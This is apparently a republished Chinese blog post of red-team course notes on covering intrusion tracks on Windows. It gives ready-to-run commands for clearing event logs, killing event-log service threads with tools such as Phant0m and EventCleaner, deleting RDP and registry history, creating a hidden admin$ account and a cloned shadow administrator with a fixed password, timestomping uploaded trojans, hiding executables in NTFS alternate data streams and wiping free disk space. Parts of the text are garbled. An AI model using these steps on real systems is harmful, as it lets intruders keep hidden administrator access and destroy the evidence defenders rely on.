红队渗透-window痕迹清除

编程知识 更新时间:2023-05-02 22:50:10

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

文章目录

  • 前言
  • 一、windows操作系统基础入门
  • 二、windows渗透痕迹清除
    • 1.为避免入侵操作行为被发现时,攻击者往往通过各种方式来隐藏自己操作痕迹,比如:删除日志、隐藏后门、日志伪造。


前言

我们在做痕迹清理时,一定要对windows的基础理论,基础知识点明确于心,废话不多说,接下来开始学习。

记录MS08068学习红队三期windows痕迹清除
1、windows用户基础入门
2、windows用户命令入门
3、windows渗透痕迹清除


一、windows操作系统基础入门

1、了解windows用户
2、了解windows用户组
3、了解用户的权限划分
百度脑图:

https://naotu.baidu/file/80a2365213702de526fd9a988c91f572

二、windows渗透痕迹清除

1.为避免入侵操作行为被发现时,攻击者往往通过各种方式来隐藏自己操作痕迹,比如:删除日志、隐藏后门、日志伪造。

01、windows日志清除在哪?如何清除?:
window日志路径一般在如下几个地方:
备注:主机日志路径

系统日志:%SystemRoot%\System32\Winevt\Logs\System.evtx
安全日志:%SystemRoot%\System32\Winevt\Logs\Security.evtx
应用程序日志:%SystemRoot%\System32\Winevt\Logs\Application.evtx
日志在注册表的键:HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Eventlog

清除方法:
(1) 全部清除,容易被发现
方法一:cmd命令输入:eventvwr 打开事件管理器,如图,点击一键删除clear loading

方法二:通过命令删除:

  • cmd环境:
PowerShell -Command "& {Clear-Eventlog -Log Application,System,Security}"   
PowerShell -Command "& {Get-WinEvent -ListLog Application,System,Security -Force | % {Wevtutil.exe cl $_.Logname}}"
  • powershell环境:
Clear-Eventlog -Log Application,System,Security
Get-WinEvent -ListLog Application,System,Security -Force | % {Wevtutil.exe cl $_.Logname}

(2)定向清除
(1)停止日志服务
方法一:工具实现
在我们清除日志的动作期间,这个清除动作已经被计算机记录,所有首先要停止日志记录,借助第三方工具:原理:定位并杀掉日志服务的相关进程,而对其应的svchost.exe进程并没有被杀掉,所以日志几率服务器看起来是正常运行。

项目地址:https://github/hlldz/Phant0m

工具老版本是用powershell写的,执行命令powershell -File Invoke-Phant0m,如果提示脚本文件无法执行,则可能是由于执行策略限制,通过命令修改执行策略即可(管理员权限):

新版本需要自己编译生成可执行文件,原理在于定位并杀死日志服务运行线程,工具提供了两种定位日志服务线程的方法,在编译时要注意选择下。注意待日志清除后要恢复日志服务,命令是net start evevtlog。
方法二:手动实现
首先利用ps命令找出日志记录服务器(eventlog)对应的进程PID,Get-WmiObject或Get-CimInstance命令都可以:

运行结果中可以看出eventlog服务对应的PID都是1736,然后利用工具找出pid=1706的进程:(此处利用的工具为process)

选择该scvhost.exe,点选右键->属性->线程,找出服务为eventlog的线程TID、如图:依次选择Kill这些线程,注意Suspend是不行的:

这样日志服务实际上就关闭了,但由于只是杀掉了其进程下运行的线程,而进程仍然存在,所以服务看起来是没有异样的,这和方法一中用工具实现的原理是相同的。
恢复正常:需要恢复日志记录服务时,在进程列表界面选择该scvhost.exe,点选右键->重新启动(restart),然后运行命令net start eventlog就可以了。


2、删除日志
一般我们获取shell时,在做敏感操作的时候,需要借助第三方工具清除单独日志,以下的工具就是奇安信工具,根据EventRecordID删除单挑日志功能。

项目地址:https://github/QAX-A-Team/EventCleaner

使用方法:

EventCleaner suspend      # 暂停日志进程,停止日志记录

EventCleaner normal       # 恢复日志进程

EventCleaner closehandle  # 解除security.evtx的文件占坑

EventCleaner 100  

2、应用日志
在删改windows安装的应用程序的日志相对简单,应为定位其中路径后就可以手动进行修改:总结三部曲。
1、找到应用程序的日志路径,
2、停止其响应服务。
3、对日志内容进行修改
停止服务的命令一般用net stop即可,如net stop “World Wide Publishing Service”,删除命令用Shift + Delete或cmd命令del。

(二)搜索&链接
获取shell后一般我们的操作会需要远程桌面链接,远程桌面链接会使我们留下痕迹
1、远程桌面记录
(1)删除缓存
缓存文件默认一般为:C:\Users\Administrator\Documents\Default.rdp ,已隐藏,可到用户的Document目录下,文件夹选项选择隐藏文件可见,然后删除,也可以用cmd命令删除。

cd C:\Users\Administrator\Documents\
attrib Default.rdp -s -h
del Default.rdp	

(2)删除注册表
对应注册表项为HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default\和HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers\,可以用regedit打开注册表编辑器,找到这两个键,在右边定向删除对应的值,也可以用cmd命令将其全部清除:

eg delete "HKCU\Software\Microsoft\Terminal Server Client\Default" /f
reg delete "HKCU\Software\Microsoft\Terminal Server Client\Servers" /f

2、文件搜索记录
对应注册表

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\WordWheelQuery,打开注册表编辑器,找到该键并删除对应的值。

3、文件浏览记录

对应注册表项为

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths,打开注册表编辑器,找到该键并删除对应的值。

4、最近访问位置
win7的位置在我的电脑、最近访问位置右键-》删除最近项目列表;
win10的位置在我的电脑或资源管理其中,选择查看-》选项-》常规,将隐私一栏的”快速访问“两个选项去掉,并选择删除历史记录;


5、运行命令行记录
对应注册表项为

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRUdakai 打开注册表编辑器,找到该键并删除对应的值。

(三)浏览器记录
如果使用了浏览器访问,尽量使用隐私模式的浏览器,开启隐私模式可以避免在本地计算机留下历史记录、缓存文件、和cookies。
注释:不同的浏览器存储的日志 路径可能不同。
IE:
(1)存放的位置
在工具-》internet 选项-》常规-》浏览历史记录-》设置中记录了缓存文件的存放路径。

(2)删除方法

  • 方法一:浏览器搜索下拉栏中,直接选择删除相应的历史记录
  • 方法二:在工具-》inter选项-》常规->浏览器历史记录表删除所有的缓存、文件、cookies

2、chrome
(1)存放位置
在浏览器搜索栏中输入:chrome://version/可以看到个人资料路径。


(2)删除方法

  • 方法一:在浏览器搜索栏中输入:chrome://history。选择删除单条浏览记录
  • 方法二:在设置-》隐私设置和安全中,或在搜索栏中输入chrom://history/后选择清除浏览数据,选择删除特定时间范围的浏览器记录,缓存文件、cookies。

3、firefox
(1)存放位置
在浏览器搜索栏中输入:about:cache,就可以看到缓存文件的磁盘存储路径

(2)删除方法

  • 方法一:在Library->History->Recent History栏中右键删除特定的浏览记录
  • 方法二:方法二:在Library->History->Clear Recent History,或在Options->Privacy & Security中选择Clear History,删除指定时间范围的历史记录

(四)隐藏用户
低级新建隐藏用的方式就是在新建的用户名称结尾加上$,虽然这样net user命令看不到,但是一下三种情况可以看到

  • powershell命令:powershell -c Get-LocalUser

  • 在计算机管理中(cmd命令:compmgmt.exe)选择”本地用户和组->用户“,或者通过cmd命令lusrmgr直接打开。


  • 控制面板(cmd:control)中选择”用户账户-用户账户-管理其他账户“

    (5)超级隐藏影子用户
    推荐使用新建 影子用户 的方式隐藏用户,这样只能通过注册表查看,其它方式无法查看隐藏用户信息。
    方法:
    (将新建用户admin$作为Administrator的影子用户,Administrator已激活)
    1、新建用户

net user admin$ QWERtrewq /add   注释,添加隐藏用户,密码QWERtrewq
net localgroup administrators admin$ /add 注释将隐藏用户添加到administrators组总。

2、导出注册表
打开注册表,右键HKEY_LOCAL_MACHINE\SAM\SAM,编辑-》当前用户 (组) 权限选择完全控制,然后重新打开注册表,再次选择HKEY_LOCAL_MACHINE\SAM\SAM就可以看见HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users中的内容,如下所示:


HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names显示了系统当前存在的所有账户。如图

选中admin , 在 其 右 侧 可 见 对 应 键 值 为 " 0 x 3 e e " , 此 键 值 为 用 户 S I D 的 结 尾 , 即 R I D 。 同 理 找 到 A d m i n i s t r a t o r 右 侧 对 应 键 值 为 " 0 x 1 f 4 " , 相 应 地 将 00003 E E 、 00001 F 4 、 a d m i n ,在其右侧可见对应键值为"0x3ee",此键值为用户SID的结尾,即RID。同理找到Administrator右侧对应键值为"0x1f4",相应地将 00003EE、00001F4、admin "0x3ee"SIDRIDAdministrator"0x1f4"00003EE00001F4admin 三个注册表项右键导出为reg格式文件:3ee.reg、1f4.reg、admin.reg 图片后补
3.F键值替换

编辑 3ee.reg 和 1f4.reg,将 3ee.reg 中的F键值替换成 1f4.reg 中的F键值,F键值中存放了用户的登录信息,替换后也就是将Administrator用户的登录信息复制给了admin , 这 样 在 操 作 系 统 内 部 就 把 a d m i n ,这样在操作系统内部就把admin admin当做是Administrator,admin$也就成了Administrator的影子账户。
图片后补

3、导入注册表
删除用户,然后将刚刚导出的 3ee.reg 和 admin.reg 重新导入

net user admin$ /del
regedit /s 3ee.reg
regedit /s admin.reg

影子账户建立完成,两者使用同一个用户配置文件,RDP登录admin$用户,桌面环境、浏览器配置等数据和Administrator同步一致,需谨慎操作。

二:文件伪装
(1)修改时间
上传工具或者木马文件后,我们为了不让蓝队工程师查询,要将其文件修改为和当前目录中文件相似的时间,可以利用powershell进行修改,
如:上传的admin.exe工具创建时间修改为2019年12月12日12:12:12.方法如下
方法一:利用对象属性修改
查看文件的创建时间、修改创建、上次访问时间

1(ls ”c:\temp\admin.exe“).creationTime
2(ls ”C:\temp\admin.exe“).lastWritetime
3(ls "c:\temp\admi.exe").lastAcessTime

修改文件的创建时间、修改时间、上次访问时间:

1(ls ”c:\temp\admin.exe“).creationTime ="2019年12月12日12:12:12"
2(ls ”C:\temp\admin.exe“).lastWritetime ="2019年12月12日12:12:12"
3(ls "c:\temp\admi.exe").lastAcessTime ="2019年12月12日12:12:12"

方法二:利用cmdlet命令修改
查看文件属性信息,包括文件的创建时间、修改时间、上次访问时间:

 Get-ItemProperty -Path "C:\temp\test.exe" | Format-list -Property *

修改文件的创建时间、修改时间、上次访问时间

Set-ItemProperty -Path "C:\temp\test.exe" -Name CreationTIme -Value "2011-11-11 11:11:11"
Set-ItemProperty -Path "C:\temp\test.exe" -Name LastWriteTime -Value "2011-11-11 11:11:11"
Set-ItemProperty -Path "C:\temp\test.exe" -Name LastAccessTime -Value "2011-11-11 11:11:11"

2、文件隐藏
方法一:attrib命令
上传工具或者文件时,利用attrib命令更改文件属性。
命令格式:attrib [+R | -R] [+A | -A ] [+S | -S] [+H | -H] [[drive:] [path] filename] [/S [/D]]

  • 增加属性
  • 减少属性
  • R 只读文件属性
  • A 存档文件属性
  • S 系统文件属性
  • H 隐藏文件属性
  • /S 处理当前文件夹及其子文件夹中的匹配文件
  • /D 也处理文件夹
 + 例如在C:\temp目录上传工具test.exe,将其目录及其文件隐藏命令:attrib +r +a +s +h C:\temp\test.exe & attrib +r +a +s +h C:\temp,如果要将其删除,先要将其恢复然后再删除:attrib -r -a -s -h C:\temp & rmdir C:\temp /s /q

利用attrib隐藏后的文件,在文件浏览器中选择隐藏项目可见或是用普通的dir命令,都是不可见的,如果要查看可以用命令:dir /a
方法二:ADS隐写

首先要了解MAC文件系统 (HFS) 和Windows文件系统 (NTFS) 储存文件数据的方式:

MAC文件系统将文件数据存储在数据和资源两个部分,数据部分存储文件内容,资源部分用于告诉操作系统如何使用文件数据
Windows文件系统将文件数据全部存储在文件中,用文件扩展名 (.bat .exe .txt 等) 告诉操作系统如何使用文件数据
ADS (Alternate Data Streams) 是Windows文件系统NTFS的特性之一,目的是兼容MAC文件系统,原本用意是通过ADS兼容MAC文件系统中文件存储的资源部分,但可以利用此特性将文件隐藏在文件、目录甚至盘符的ADS中。

ADS隐藏文件可以起到很好效果,但如果想要利用ADS运行可执行文件,情况要复杂些,因为在Windows 7之后系统对ADS运行可执行文件作了限制,具体系统需要验证方法可行性。

目前在我的实验环境下将可执行文件隐藏到其他文件的ADS,测试了几种运行方法:只有runas命令在所有Windows版本是可行的,但是必须要交互输入用户密码,其他命令方式在不同版本系统表现不同,要先验证才行,实验中将工具test.exe上传至主机C:\temp目录,将其利用ADS隐藏,不同方法具体使用情况如下:
① 将其隐藏在用户桌面test.txt文件的ADS中,ADS命名为1.exe

# 隐藏ADS
type C:\temp\test.exe > C:\users\Jim\desktop\test.txt:1.exe

# 先切换到ADS所在目录,再运行
# Windows 10 Pro 10.0.19042、Windows Server 2016 Datacenter 10.0.14393 测试可行
powershell -c "cd C:\users\Jim\desktop; .\test.txt:1.exe"

② 将其隐藏在C:\Windows目录的ADS中,ADS命名为2.exe

# 隐藏ADS
type C:\temp\test.exe > C:\Windows:2.exe

# 先切换到ADS所在目录,再运行
# Windows 10 Pro 10.0.19042、Windows Server 2016 Datacenter 10.0.14393 测试可行
powershell -c "cd C:\; .\Windows:2.exe"

③ 将其隐藏在C:\盘符的ADS中,ADS命名为3.exe

type C:\temp\test.exe > C:3.exe

# 隐藏在盘符中的方式在所有Windows系统中都可以直接运行
C:3.exe

利用ADS技术隐藏后的文件,在文件浏览器中选择隐藏项目可见或是用普通的dir命令,或是查看文件内容和大小,都是不可发现的,如果要查看可以用命令:dir /r,如果要将文件ADS删除,需要将文件转换为FAT、FAT32等其他文件系统格式,或是借助第三方工具如:SysinternalsSuite工具包中的 Streams ,使用方法如下:

# 查看文件/目录ADS
Streams.exe -s <DIR|FILE>

# 删除文件/目录ADS
Streams.exe -d <DIR|FILE>

(二)文件擦除
对于敏感文件和工具,物品们不能用常规的删除命令,应为常规的删除命令可以留下痕迹,易于被蓝队或者数据恢复工程师恢复,一般情况下我们使用这些命令进行高效删除
1、命令行DEL/ERASE删除
永久的删除文件,不经过回收站、但是能用数据恢复软件恢复,
2、shift+delete永久删
永久删除文件,不会经过回收站、但是没有覆盖,能使用数据恢复软件恢复。
.Cipher擦除覆写
cipher /W:directory:从整个卷上可用的磁盘空间中覆写数据,从而覆盖已删除文件的硬盘空间,这样之前删除的数据顶多能够恢复文件名,但是恢复数据几乎是不可能的。
例如刚删除工具C:\temp\test.exe,然后执行cipher /W:C,这样C盘上的空余空间就会被覆写三轮,分别是0x00、0xFF、随机数,覆写需要一段时间,这取决于C盘空余空间的大小。
4.Format格式化覆写
format volume /P:count:将volume卷上每个扇区清零,此后该卷将被改写count次,且每次使用不同的随机数。

例如format D: /P:10表示把D盘用随机数格式化后再覆写10次。

更多推荐

红队渗透-window痕迹清除

本文发布于:2023-04-29 04:40:00,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/753144928c3dade6fd700e573e80926a.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:痕迹   window

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!

  • 110174文章数
  • 28012阅读数
  • 0评论数